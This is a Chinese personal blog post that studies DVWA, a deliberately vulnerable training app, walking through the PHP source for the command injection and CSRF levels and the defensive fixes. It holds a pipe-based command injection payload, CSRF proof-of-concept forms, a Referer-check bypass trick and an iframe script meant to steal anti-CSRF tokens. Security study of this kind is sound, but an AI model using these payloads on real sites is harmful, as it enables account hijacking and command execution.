f1ower's Blog

邪法面前,我亦无畏

PHP审计学习-漏洞原理

这篇博客记录了我刷DVWA并分析源代码的学习过程。


0x0:Command Injection

Low:首先进行功能尝试

POST内容为:

ip=127.0.0.1&Submit=Submit

其中ip参数为我们值得注意的参数,然后猜测是使用表单提交。

源代码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = $_REQUEST[ 'ip' ];        //POST那内容中的ip参数的值传递给$target

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {    //判断操作系统为Windows
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );    //调用shell_exec(),直接将上面接收来的$target和前面的ping进行拼接并执行
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );    //如果不是Windows,则为Unix/Linux
	}

	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";
}

?>

漏洞显而易见,shell_exec()去执行系统命令。直接将"ping"和POST接收进来的数据进行简单的拼接(使用".")

所以这里只需要传入的是管道符|即可在后面执行我想要的命令,没有防护手段。

Medium:直接看源代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = $_REQUEST[ 'ip' ];    //和Low一样的参数传递

	// Set blacklist
	$substitutions = array(        //设置了一个黑名单数组
		'&&' => '',
		';'  => '',
	);

	// Remove any of the charactars in the array (blacklist).
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );    //如果刚才黑名单数组里面的key(&&和;)存在于$target变量中,则将其替换为''(简单理解就是去掉)

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {    //后面一样,判断操作系统,拼接执行。
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";
}

?>

加入了简单的黑名单防护机制,但是黑名单覆盖范围不全,或者说本身黑名单机制就很容易被绕过。

High:直接看源代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Get input
	$target = trim($_REQUEST[ 'ip' ]);

	// Set blacklist
	$substitutions = array(        //一个很大的黑名单
		'&'  => '',
		';'  => '',
		'| ' => '',        //标记处
		'-'  => '',
		'$'  => '',
		'('  => '',
		')'  => '',
		'`'  => '',
		'||' => '',
	);

	// Remove any of the charactars in the array (blacklist).
	$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

	// Determine OS and execute the ping command.
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
		// Windows
		$cmd = shell_exec( 'ping  ' . $target );
	}
	else {
		// *nix
		$cmd = shell_exec( 'ping  -c 4 ' . $target );
	}

	// Feedback for the end user
	$html .= "<pre>{$cmd}</pre>";
}

?>

和Medium差不多,只是这次使用了一个很大的黑名单但是在标记处(见上代码),key是使用'| '管道符和空格组成的,这里还是刚才的办法,直接构造127.0.0.1|whoami即可(管道符左右没有空格),这样即可绕过数组匹配。

impossible:分析源代码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$target = $_REQUEST[ 'ip' ];
	$target = stripslashes( $target );

	// Split the IP into 4 octects
	$octet = explode( ".", $target );    //使用explode函数对$target进行分割

	// Check IF each octet is an integer
	if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
		// If all 4 octets are int's put the IP back together.
		$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];    //分割之后对$octet变量进行校验是否为数字或数字字符串,True的话,再进行拼接执行。

		// Determine OS and execute the ping command.
		if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
			// Windows
			$cmd = shell_exec( 'ping  ' . $target );
		}
		else {
			// *nix
			$cmd = shell_exec( 'ping  -c 4 ' . $target );
		}

		// Feedback for the end user
		$html .= "<pre>{$cmd}</pre>";
	}
	else {
		// Ops. Let the user name theres a mistake
		$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

这里没有采用黑名单,而是分割之后进行重组,强过滤。所以是impossible。


0x1:CSRF

实际上我之前写过不少有关商城的CSRF的Poc,大概知道这个漏洞是怎么形成的,怎么去利用,但是一直对其原理并不完全知晓。所以这里会认真的去分析代码。

Low:改密码的功能,我在前端尝试了密码之后,直接编写Poc如下:

<html>
  <form action="http://dvwa.f1ower.com/vulnerabilities/csrf/">
    <input type="hidden" name="password&#95;new" value="pass" />
    <input type="hidden" name="password&#95;conf" value="pass" />
    <input type="hidden" name="Change" value="Change" />
    <input type="submit" value="Submit request" />
  </form>
</html>

在实际的环境中可能这么攻击:

<html>
<img src="http://[Hostname]/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change" border="0" style="display:none;"/>
<h1>F1ower</h1>
<!-- 这里放置HTML代码 -->
</html>

源代码如下:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

以下进行分析:

$_GET接收并赋值两个变量($pass_new和$pass_conf)

如果接收进来的$pass_new和$pass_conf是一样的,那么直接操作数据库进行更改密码操作,然后输出结果Password Changed

否则报错Passwords did not match

这些功能看上去都是正常的,而且执行SQL语句之前的$pass_new也是经过了md5(),应该没有注入问题;

但是并没有校验是否真的是当前用户在请求更改密码做校验,导致第三方攻击者有机可乘(攻击的方式有很多,短链接攻击或者是他链接攻击);

在源代码中没有看到任何通过referer/token/验证码来检测是否为用户真实提交,也没有看见Cookie校验(限制了Cookie域之后);

Low是最初级的CSRF,很简单即可利用,我接下来去边看防护边学习;

Medium:直接看代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Checks to see where the request came from
	if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
		// Get input
		$pass_new  = $_GET[ 'password_new' ];
		$pass_conf = $_GET[ 'password_conf' ];

		// Do the passwords match?
		if( $pass_new == $pass_conf ) {
			// They do!
			$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
			$pass_new = md5( $pass_new );

			// Update the database
			$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
			$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

			// Feedback for the user
			$html .= "<pre>Password Changed.</pre>";
		}
		else {
			// Issue with passwords matching
			$html .= "<pre>Passwords did not match.</pre>";
		}
	}
	else {
		// Didn't come from a trusted source
		$html .= "<pre>That request didn't look correct.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

多了一个if条件判断语句,如下:

if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
{
    //low 中的操作
}

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写),使用Http头中的Host字段里面的值在Referer字段中去匹配,如果不为空(匹配到了),那么进行操作;

这个难度下,检查了HTTP_REFERER中是否包含了SERVER_NAME,使用这种机制去防护CSRF攻击;

这里我通过网上查找资料,找到了一个骚操作:

将Poc命名为:[源服务器的IP/域名].html,这样的话,去匹配也是能够匹配到的,打个比方:

DVWA服务器:192.168.1.1

攻击者服务器:10.10.10.10

Poc命名为:192.168.1.1.html

这样在referer中出现的就是:hxxp://10.10.10.10/192.168.1.1.html

这样校验Host头(192.168.1.1)的时候,依然是会去执行操作的,这个骚操作我是学到了;

High:直接看代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Do the passwords match?
	if( $pass_new == $pass_conf ) {
		// They do!
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update the database
		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
		$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match.</pre>";
	}

	((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

在medium中使用的Referer和Host校验被取消了,取而代之的是Token校验机制,这里使用了checkToken()函数应该是自主编写,跟过去看看:

function checkToken( $user_token, $session_token, $returnURL ) {  # Validate the given (CSRF) token
	if( $user_token !== $session_token || !isset( $session_token ) ) {
		dvwaMessagePush( 'CSRF token is incorrect' );
		dvwaRedirect( $returnURL );
	}
}

这里的逻辑是校验了user_token和session_token,也就是俗称的Anti-CSRF token机制,每次访问这个改密码界面的时候应该都会得到一个随机的token,而进一步发起请求的时候,需要提交我得到的这个token,进行校验,token正确则直接修改的SQL,在这里我没有攻击的思路了,所以我还是在网上寻找答案,得到了一个角度非常刁钻的思路:既然强制校验token,那么我干脆连这个受害者的token也一起给偷回来自导自演。

以下是我从网上找到的方式:

<script type="text/javascript">
    function attack()
  {
   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
  document.getElementById("transfer").submit(); 
  }
</script>
 
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
 
<body onload="attack()">
  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
   <input type="hidden" name="password_new" value="password">
    <input type="hidden" name="password_conf" value="password">
   <input type="hidden" name="user_token" value="">
  <input type="hidden" name="Change" value="Change">
   </form>
</body>

攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。
然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://192.168.153.130/dvwa/vulnerabilities/csrf,位于服务器192.168.153.130上,而我们的攻击页面位于黑客服务器10.4.253.2上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。
由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.153.130中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。

在我找到的这个方法的作者使用的同在DVWA中的储存XSS一起完成的攻击。这个思路我理解了;

Impossible:还是直接看代码

<?php

if( isset( $_GET[ 'Change' ] ) ) {
	// Check Anti-CSRF token
	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

	// Get input
	$pass_curr = $_GET[ 'password_current' ];
	$pass_new  = $_GET[ 'password_new' ];
	$pass_conf = $_GET[ 'password_conf' ];

	// Sanitise current password input
	$pass_curr = stripslashes( $pass_curr );
	$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$pass_curr = md5( $pass_curr );

	// Check that the current password is correct
	$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
	$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
	$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
	$data->execute();

	// Do both new passwords match and does the current password match the user?
	if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
		// It does!
		$pass_new = stripslashes( $pass_new );
		$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
		$pass_new = md5( $pass_new );

		// Update database with new password
		$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
		$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
		$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
		$data->execute();

		// Feedback for the user
		$html .= "<pre>Password Changed.</pre>";
	}
	else {
		// Issue with passwords matching
		$html .= "<pre>Passwords did not match or current password incorrect.</pre>";
	}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

首先使用了high级别的随机token校验机制进行校验,然后需要验证原来的密码,为了防止原来的密码被SQL攻击,这里使用了PDO来防护SQL注入的情况,等于强制校验原来的密码,如果我都知道用户原来的密码,那么我不需要再使用CSRF这种方式来进行攻击了,或者说,我就算知道了一个用户的密码,我也只能点对点的在极端情况对一个用户进行攻击,在实际情况中,漏洞的可利用性几乎无线接近于零;


0x2:File Inclusion

今天没有力气了...1月8号~1月9号再写吧....